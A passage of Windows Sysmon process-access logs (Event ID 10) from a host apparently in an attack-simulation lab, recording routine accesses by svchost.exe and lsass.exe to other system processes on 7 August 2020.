C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.438","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":919,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.438\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.438","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":920,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.438\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.438","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":921,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.438\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.438","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":922,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.438\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.438","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":923,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.438\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001041B90000}\r\nTargetProcessId: 1140\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x40\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\lsm.dll+b81f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+7cf9|C:\\Windows\\System32\\combase.dll+1319|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.438","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001041B90000}","TargetProcessId":"1140","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x40","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\lsm.dll+b81f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+7cf9|C:\\Windows\\System32\\combase.dll+1319|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":924,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.453\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.453","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":925,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.453\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.453","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":926,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.453\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 